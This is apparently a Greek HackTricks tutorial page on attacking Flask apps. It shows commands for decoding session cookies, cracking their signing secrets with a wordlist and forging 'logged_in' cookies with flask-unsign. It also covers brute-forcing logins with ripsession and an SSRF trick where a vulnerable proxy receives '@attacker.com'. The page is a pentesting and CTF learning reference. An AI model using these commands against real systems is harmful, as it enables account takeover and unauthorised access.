Flask

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

Πιθανότατα, αν παίζεις CTF, μια εφαρμογή Flask θα σχετίζεται με SSTI.

Cookies

Το προεπιλεγμένο όνομα του session cookie είναι session.

Αποκωδικοποιητής

Online αποκωδικοποιητής cookies για Flask: https://www.kirsle.net/wizards/flask-session.cgi

Χειροκίνητο

Πάρε το πρώτο μέρος του cookie μέχρι την πρώτη τελεία και κάνε Base64 decode:

echo "ImhlbGxvIg" | base64 -d

Το cookie υπογράφεται επίσης με έναν κωδικό πρόσβασης

Flask-Unsign

Εργαλείο γραμμής εντολών για την ανάκτηση, αποκωδικοποίηση, brute-force και δημιουργία session cookies μιας εφαρμογής Flask, μαντεύοντας τα μυστικά κλειδιά.

Client Challenge

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Υπογραφή

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Υπογραφή χρησιμοποιώντας legacy (παλιές εκδόσεις)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Εργαλείο γραμμής εντολών για brute-force ιστότοπων χρησιμοποιώντας cookies κατασκευασμένα με flask-unsign.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign. \xc2\xb7 GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Αυτό το παράδειγμα χρησιμοποιεί την επιλογή sqlmap eval για να υπογράψει αυτόματα sqlmap payloads για flask χρησιμοποιώντας ένα γνωστό secret.

Flask Proxy προς SSRF

Σε αυτό το writeup εξηγείται πώς το Flask επιτρέπει ένα request που ξεκινά με τον χαρακτήρα “@”:

GET @/ HTTP/1.1
Host: target.com
Connection: close

Ποιο στο ακόλουθο σενάριο:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Μπορεί να επιτρέψει την εισαγωγή μιας τιμής όπως “@attacker.com” για να προκαλέσει SSRF.

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks